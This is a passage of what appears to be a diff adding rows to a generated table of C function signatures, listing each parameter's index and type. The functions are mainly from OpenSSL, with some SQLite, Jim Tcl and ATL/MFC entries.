| 0 | int * | +| (int *,sqlite3_stmt *) | | shellReset | 1 | sqlite3_stmt * | +| (int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_restore | 0 | int * | +| (int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_restore | 1 | unsigned char ** | +| (int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_restore | 2 | const ASN1_VALUE ** | +| (int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_enc_restore | 3 | const ASN1_ITEM * | +| (int) | | ASN1_STRING_type_new | 0 | int | +| (int) | | ASN1_tag2bit | 0 | int | +| (int) | | ASN1_tag2str | 0 | int | +| (int) | | EVP_PKEY_asn1_get0 | 0 | int | +| (int) | | Jim_ReturnCode | 0 | int | +| (int) | | Jim_SignalId | 0 | int | +| (int) | | OBJ_nid2ln | 0 | int | +| (int) | | OBJ_nid2obj | 0 | int | +| (int) | | OBJ_nid2sn | 0 | int | +| (int) | | OSSL_STORE_INFO_type_string | 0 | int | +| (int) | | OSSL_trace_get_category_name | 0 | int | +| (int) | | PKCS12_init | 0 | int | +| (int) | | Symbol_Nth | 0 | int | +| (int) | | X509_PURPOSE_get0 | 0 | int | +| (int) | | X509_PURPOSE_get_by_id | 0 | int | +| (int) | | X509_TRUST_get0 | 0 | int | +| (int) | | X509_TRUST_get_by_id | 0 | int | +| (int) | | X509_VERIFY_PARAM_get0 | 0 | int | +| (int) | | evp_pkey_type2name | 0 | int | +| (int) | | ossl_cmp_bodytype_to_string | 0 | int | +| (int) | | ossl_tolower | 0 | int | +| (int) | | ossl_toupper | 0 | int | +| (int) | | pulldown_test_framework | 0 | int | +| (int) | | sqlite3_compileoption_get | 0 | int | +| (int) | | sqlite3_errstr | 0 | int | +| (int) | | tls1_alert_code | 0 | int | +| (int) | | tls13_alert_code | 0 | int | +| (int) | | wait_until_sock_readable | 0 | int | +| (int,BIO_ADDR *,int) | | BIO_accept_ex | 0 | int | +| (int,BIO_ADDR *,int) | | BIO_accept_ex | 1 | BIO_ADDR * | +| (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | int | +| (int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *) | | CRYPTO_dup_ex_data | 0 | int | +| (int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *) | | CRYPTO_dup_ex_data | 1 | CRYPTO_EX_DATA * | +| (int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *) | | CRYPTO_dup_ex_data | 2 | const CRYPTO_EX_DATA * | +| (int,ENGINE *) | | EVP_PKEY_CTX_new_id | 0 | int | +| (int,ENGINE *) | | EVP_PKEY_CTX_new_id | 1 | ENGINE * | +| (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 0 | int | +| (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 1 | ENGINE * | +| (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 2 | const unsigned char * | +| (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 3 | int | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 0 | int | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 1 | ENGINE * | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 2 | const unsigned char * | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 3 | size_t | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 0 | int | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 1 | ENGINE * | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 2 | const unsigned char * | +| (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 3 | size_t | +| (int,ERR_STRING_DATA *) | | ERR_load_strings | 0 | int | +| (int,ERR_STRING_DATA *) | | ERR_load_strings | 1 | ERR_STRING_DATA * | +| (int,ERR_STRING_DATA *) | | ERR_unload_strings | 0 | int | +| (int,ERR_STRING_DATA *) | | ERR_unload_strings | 1 | ERR_STRING_DATA * | +| (int,EVP_PKEY **,BIO *) | | d2i_KeyParams_bio | 0 | int | +| (int,EVP_PKEY **,BIO *) | | d2i_KeyParams_bio | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,BIO *) | | d2i_KeyParams_bio | 2 | BIO * | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_KeyParams | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_KeyParams | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_KeyParams | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_KeyParams | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PrivateKey | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PrivateKey | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PrivateKey | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PrivateKey | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PublicKey | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PublicKey | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PublicKey | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long) | | d2i_PublicKey | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 4 | OSSL_LIB_CTX * | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex | 5 | const char * | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 0 | int | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 1 | EVP_PKEY ** | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 2 | const unsigned char ** | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 3 | long | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 4 | OSSL_LIB_CTX * | +| (int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_PrivateKey_legacy | 5 | const char * | | (int,LPCOLESTR) | CComBSTR | CComBSTR | 0 | int | | (int,LPCOLESTR) | CComBSTR | CComBSTR | 1 | LPCOLESTR | | (int,LPCSTR) | CComBSTR | CComBSTR | 0 | int | | (int,LPCSTR) | CComBSTR | CComBSTR | 1 | LPCSTR | +| (int,OCSP_BASICRESP *) | | OCSP_response_create | 0 | int | +| (int,OCSP_BASICRESP *) | | OCSP_response_create | 1 | OCSP_BASICRESP * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 0 | int | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 1 | OSSL_CRMF_MSG * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 2 | EVP_PKEY * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 3 | const EVP_MD * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 4 | OSSL_LIB_CTX * | +| (int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | OSSL_CRMF_MSG_create_popo | 5 | const char * | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 0 | int | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 1 | OSSL_HPKE_SUITE | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 2 | int | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 3 | OSSL_LIB_CTX * | +| (int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_CTX_new | 4 | const char * | +| (int,OSSL_LIB_CTX *) | | ossl_rcu_lock_new | 0 | int | +| (int,OSSL_LIB_CTX *) | | ossl_rcu_lock_new | 1 | OSSL_LIB_CTX * | +| (int,OSSL_LIB_CTX *,const char *) | | PKCS12_init_ex | 0 | int | +| (int,OSSL_LIB_CTX *,const char *) | | PKCS12_init_ex | 1 | OSSL_LIB_CTX * | +| (int,OSSL_LIB_CTX *,const char *) | | PKCS12_init_ex | 2 | const char * | | (int,PCXSTR) | CStringT | Insert | 0 | int | | (int,PCXSTR) | CStringT | Insert | 1 | PCXSTR | +| (int,SSL *,const unsigned char *,long) | | SSL_use_PrivateKey_ASN1 | 0 | int | +| (int,SSL *,const unsigned char *,long) | | SSL_use_PrivateKey_ASN1 | 1 | SSL * | +| (int,SSL *,const unsigned char *,long) | | SSL_use_PrivateKey_ASN1 | 2 | const unsigned char * | +| (int,SSL *,const unsigned char *,long) | | SSL_use_PrivateKey_ASN1 | 3 | long | +| (int,SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_PrivateKey_ASN1 | 0 | int | +| (int,SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_PrivateKey_ASN1 | 1 | SSL_CTX * | +| (int,SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_PrivateKey_ASN1 | 2 | const unsigned char * | +| (int,SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_PrivateKey_ASN1 | 3 | long | +| (int,SSL_EXCERT **) | | args_excert | 0 | int | +| (int,SSL_EXCERT **) | | args_excert | 1 | SSL_EXCERT ** | +| (int,X509_STORE_CTX *) | | X509_STORE_CTX_print_verify_cb | 0 | int | +| (int,X509_STORE_CTX *) | | X509_STORE_CTX_print_verify_cb | 1 | X509_STORE_CTX * | +| (int,X509_STORE_CTX *) | | verify_callback | 0 | int | +| (int,X509_STORE_CTX *) | | verify_callback | 1 | X509_STORE_CTX * | | (int,XCHAR) | CStringT | Insert | 0 | int | | (int,XCHAR) | CStringT | Insert | 1 | XCHAR | +| (int,char **) | | BIO_accept | 0 | int | +| (int,char **) | | BIO_accept | 1 | char ** | +| (int,char **,char *[]) | | ca_main | 0 | int | +| (int,char **,char *[]) | | ca_main | 1 | char ** | +| (int,char **,char *[]) | | ca_main | 2 | char *[] | +| (int,char **,char *[]) | | ciphers_main | 0 | int | +| (int,char **,char *[]) | | ciphers_main | 1 | char ** | +| (int,char **,char *[]) | | ciphers_main | 2 | char *[] | +| (int,char **,char *[]) | | cmp_main | 0 | int | +| (int,char **,char *[]) | | cmp_main | 1 | char ** | +| (int,char **,char *[]) | | cmp_main | 2 | char *[] | +| (int,char **,char *[]) | | cms_main | 0 | int | +| (int,char **,char *[]) | | cms_main | 1 | char ** | +| (int,char **,char *[]) | | cms_main | 2 | char *[] | +| (int,char **,char *[]) | | crl2pkcs7_main | 0 | int | +| (int,char **,char *[]) | | crl2pkcs7_main | 1 | char ** | +| (int,char **,char *[]) | | crl2pkcs7_main | 2 | char *[] | +| (int,char **,char *[]) | | crl_main | 0 | int | +| (int,char **,char *[]) | | crl_main | 1 | char ** | +| (int,char **,char *[]) | | crl_main | 2 | char *[] | +| (int,char **,char *[]) | | dgst_main | 0 | int | +| (int,char **,char *[]) | | dgst_main | 1 | char ** | +| (int,char **,char *[]) | | dgst_main | 2 | char *[] | +| (int,char **,char *[]) | | dhparam_main | 0 | int | +| (int,char **,char *[]) | | dhparam_main | 1 | char ** | +| (int,char **,char *[]) | | dhparam_main | 2 | char *[] | +| (int,char **,char *[]) | | dsa_main | 0 | int | +| (int,char **,char *[]) | | dsa_main | 1 | char ** | +| (int,char **,char *[]) | | dsa_main | 2 | char *[] | +| (int,char **,char *[]) | | dsaparam_main | 0 | int | +| (int,char **,char *[]) | | dsaparam_main | 1 | char ** | +| (int,char **,char *[]) | | dsaparam_main | 2 | char *[] | +| (int,char **,char *[]) | | ec_main | 0 | int | +| (int,char **,char *[]) | | ec_main | 1 | char ** | +| (int,char **,char *[]) | | ec_main | 2 | char *[] | +| (int,char **,char *[]) | | ecparam_main | 0 | int | +| (int,char **,char *[]) | | ecparam_main | 1 | char ** | +| (int,char **,char *[]) | | ecparam_main | 2 | char *[] | +| (int,char **,char *[]) | | enc_main | 0 | int | +| (int,char **,char *[]) | | enc_main | 1 | char ** | +| (int,char **,char *[]) | | enc_main | 2 | char *[] | +| (int,char **,char *[]) | | engine_main | 0 | int | +| (int,char **,char *[]) | | engine_main | 1 | char ** | +| (int,char **,char *[]) | | engine_main | 2 | char *[] | +| (int,char **,char *[]) | | errstr_main | 0 | int | +| (int,char **,char *[]) | | errstr_main | 1 | char ** | +| (int,char **,char *[]) | | errstr_main | 2 | char *[] | +| (int,char **,char *[]) | | fipsinstall_main | 0 | int | +| (int,char **,char *[]) | | fipsinstall_main | 1 | char ** | +| (int,char **,char *[]) | | fipsinstall_main | 2 | char *[] | +| (int,char **,char *[]) | | gendsa_main | 0 | int | +| (int,char **,char *[]) | | gendsa_main | 1 | char ** | +| (int,char **,char *[]) | | gendsa_main | 2 | char *[] | +| (int,char **,char *[]) | | genpkey_main | 0 | int | +| (int,char **,char *[]) | | genpkey_main | 1 | char ** | +| (int,char **,char *[]) | | genpkey_main | 2 | char *[] | +| (int,char **,char *[]) | | genrsa_main | 0 | int | +| (int,char **,char *[]) | | genrsa_main | 1 | char ** | +| (int,char **,char *[]) | | genrsa_main | 2 | char *[] | +| (int,char **,char *[]) | | help_main | 0 | int | +| (int,char **,char *[]) | | help_main | 1 | char ** | +| (int,char **,char *[]) | | help_main | 2 | char *[] | +| (int,char **,char *[]) | | info_main | 0 | int | +| (int,char **,char *[]) | | info_main | 1 | char ** | +| (int,char **,char *[]) | | info_main | 2 | char *[] | +| (int,char **,char *[]) | | kdf_main | 0 | int | +| (int,char **,char *[]) | | kdf_main | 1 | char ** | +| (int,char **,char *[]) | | kdf_main | 2 | char *[] | +| (int,char **,char *[]) | | list_main | 0 | int | +| (int,char **,char *[]) | | list_main | 1 | char ** | +| (int,char **,char *[]) | | list_main | 2 | char *[] | +| (int,char **,char *[]) | | mac_main | 0 | int | +| (int,char **,char *[]) | | mac_main | 1 | char ** | +| (int,char **,char *[]) | | mac_main | 2 | char *[] | +| (int,char **,char *[]) | | nseq_main | 0 | int | +| (int,char **,char *[]) | | nseq_main | 1 | char ** | +| (int,char **,char *[]) | | nseq_main | 2 | char *[] | +| (int,char **,char *[]) | | ocsp_main | 0 | int | +| (int,char **,char *[]) | | ocsp_main | 1 | char ** | +| (int,char **,char *[]) | | ocsp_main | 2 | char *[] | +| (int,char **,char *[]) | | passwd_main | 0 | int | +| (int,char **,char *[]) | | passwd_main | 1 | char ** | +| (int,char **,char *[]) | | passwd_main | 2 | char *[] | +| (int,char **,char *[]) | | pkcs7_main | 0 | int | +| (int,char **,char *[]) | | pkcs7_main | 1 | char ** | +| (int,char **,char *[]) | | pkcs7_main | 2 | char *[] | +| (int,char **,char *[]) | | pkcs8_main | 0 | int | +| (int,char **,char *[]) | | pkcs8_main | 1 | char ** | +| (int,char **,char *[]) | | pkcs8_main | 2 | char *[] | +| (int,char **,char *[]) | | pkcs12_main | 0 | int | +| (int,char **,char *[]) | | pkcs12_main | 1 | char ** | +| (int,char **,char *[]) | | pkcs12_main | 2 | char *[] | +| (int,char **,char *[]) | | pkey_main | 0 | int | +| (int,char **,char *[]) | | pkey_main | 1 | char ** | +| (int,char **,char *[]) | | pkey_main | 2 | char *[] | +| (int,char **,char *[]) | | pkeyparam_main | 0 | int | +| (int,char **,char *[]) | | pkeyparam_main | 1 | char ** | +| (int,char **,char *[]) | | pkeyparam_main | 2 | char *[] | +| (int,char **,char *[]) | | pkeyutl_main | 0 | int | +| (int,char **,char *[]) | | pkeyutl_main | 1 | char ** | +| (int,char **,char *[]) | | pkeyutl_main | 2 | char *[] | +| (int,char **,char *[]) | | prime_main | 0 | int | +| (int,char **,char *[]) | | prime_main | 1 | char ** | +| (int,char **,char *[]) | | prime_main | 2 | char *[] | +| (int,char **,char *[]) | | rand_main | 0 | int | +| (int,char **,char *[]) | | rand_main | 1 | char ** | +| (int,char **,char *[]) | | rand_main | 2 | char *[] | +| (int,char **,char *[]) | | rehash_main | 0 | int | +| (int,char **,char *[]) | | rehash_main | 1 | char ** | +| (int,char **,char *[]) | | rehash_main | 2 | char *[] | +| (int,char **,char *[]) | | req_main | 0 | int | +| (int,char **,char *[]) | | req_main | 1 | char ** | +| (int,char **,char *[]) | | req_main | 2 | char *[] | +| (int,char **,char *[]) | | rsa_main | 0 | int | +| (int,char **,char *[]) | | rsa_main | 1 | char ** | +| (int,char **,char *[]) | | rsa_main | 2 | char *[] | +| (int,char **,char *[]) | | rsautl_main | 0 | int | +| (int,char **,char *[]) | | rsautl_main | 1 | char ** | +| (int,char **,char *[]) | | rsautl_main | 2 | char *[] | +| (int,char **,char *[]) | | s_client_main | 0 | int | +| (int,char **,char *[]) | | s_client_main | 1 | char ** | +| (int,char **,char *[]) | | s_client_main | 2 | char *[] | +| (int,char **,char *[]) | | s_time_main | 0 | int | +| (int,char **,char *[]) | | s_time_main | 1 | char ** | +| (int,char **,char *[]) | | s_time_main | 2 | char *[] | +| (int,char **,char *[]) | | sess_id_main | 0 | int | +| (int,char **,char *[]) | | sess_id_main | 1 | char ** | +| (int,char **,char *[]) | | sess_id_main | 2 | char *[] | +| (int,char **,char *[]) | | skeyutl_main | 0 | int | +| (int,char **,char *[]) | | skeyutl_main | 1 | char ** | +| (int,char **,char *[]) | | skeyutl_main | 2 | char *[] | +| (int,char **,char *[]) | | smime_main | 0 | int | +| (int,char **,char *[]) | | smime_main | 1 | char ** | +| (int,char **,char *[]) | | smime_main | 2 | char *[] | +| (int,char **,char *[]) | | speed_main | 0 | int | +| (int,char **,char *[]) | | speed_main | 1 | char ** | +| (int,char **,char *[]) | | speed_main | 2 | char *[] | +| (int,char **,char *[]) | | spkac_main | 0 | int | +| (int,char **,char *[]) | | spkac_main | 1 | char ** | +| (int,char **,char *[]) | | spkac_main | 2 | char *[] | +| (int,char **,char *[]) | | srp_main | 0 | int | +| (int,char **,char *[]) | | srp_main | 1 | char ** | +| (int,char **,char *[]) | | srp_main | 2 | char *[] | +| (int,char **,char *[]) | | ts_main | 0 | int | +| (int,char **,char *[]) | | ts_main | 1 | char ** | +| (int,char **,char *[]) | | ts_main | 2 | char *[] | +| (int,char **,char *[]) | | verify_main | 0 | int | +| (int,char **,char *[]) | | verify_main | 1 | char ** | +| (int,char **,char *[]) | | verify_main | 2 | char *[] | +| (int,char **,char *[]) | | version_main | 0 | int | +| (int,char **,char *[]) | | version_main | 1 | char ** | +| (int,char **,char *[]) | | version_main | 2 | char *[] | +| (int,char **,char *[]) | | x509_main | 0 | int | +| (int,char **,char *[]) | | x509_main | 1 | char ** | +| (int,char **,char *[]) | | x509_main | 2 | char *[] | +| (int,char **,const OPTIONS *) | | opt_init | 0 | int | +| (int,char **,const OPTIONS *) | | opt_init | 1 | char ** | +| (int,char **,const OPTIONS *) | | opt_init | 2 | const OPTIONS * | +| (int,char *,const char *,...) | | sqlite3_snprintf | 0 | int | +| (int,char *,const char *,...) | | sqlite3_snprintf | 1 | char * | +| (int,char *,const char *,...) | | sqlite3_snprintf | 2 | const char * | +| (int,char *,const char *,...) | | sqlite3_snprintf | 3 | ... | +| (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 0 | int | +| (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 1 | char * | +| (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 2 | const char * | +| (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 3 | va_list | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 0 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 1 | const EVP_CIPHER * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 2 | const char * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 3 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 4 | unsigned char * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 5 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 6 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 7 | PKCS8_PRIV_KEY_INFO * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 0 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 1 | const EVP_CIPHER * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 2 | const char * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 3 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 4 | unsigned char * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 5 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 6 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 7 | PKCS8_PRIV_KEY_INFO * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 8 | OSSL_LIB_CTX * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 9 | const char * | +| (int,const OSSL_ALGORITHM *,OSSL_PROVIDER *) | | ossl_decoder_from_algorithm | 0 | int | +| (int,const OSSL_ALGORITHM *,OSSL_PROVIDER *) | | ossl_decoder_from_algorithm | 1 | const OSSL_ALGORITHM * | +| (int,const OSSL_ALGORITHM *,OSSL_PROVIDER *) | | ossl_decoder_from_algorithm | 2 | OSSL_PROVIDER * | +| (int,const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_data | 0 | int | +| (int,const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_data | 1 | const OSSL_STORE_INFO * | +| (int,const char *) | | BIO_meth_new | 0 | int | +| (int,const char *) | | BIO_meth_new | 1 | const char * | +| (int,const char **,int *) | | sqlite3_keyword_name | 0 | int | +| (int,const char **,int *) | | sqlite3_keyword_name | 1 | const char ** | +| (int,const char **,int *) | | sqlite3_keyword_name | 2 | int * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 0 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 1 | const char * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 2 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 3 | unsigned char * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 4 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 5 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 6 | PKCS8_PRIV_KEY_INFO * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 0 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 1 | const char * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 2 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 3 | unsigned char * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 4 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 5 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 6 | PKCS8_PRIV_KEY_INFO * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 7 | OSSL_LIB_CTX * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 8 | const char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 0 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 1 | const char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 2 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 3 | unsigned char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 4 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 5 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 6 | stack_st_PKCS12_SAFEBAG * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 0 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 1 | const char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | 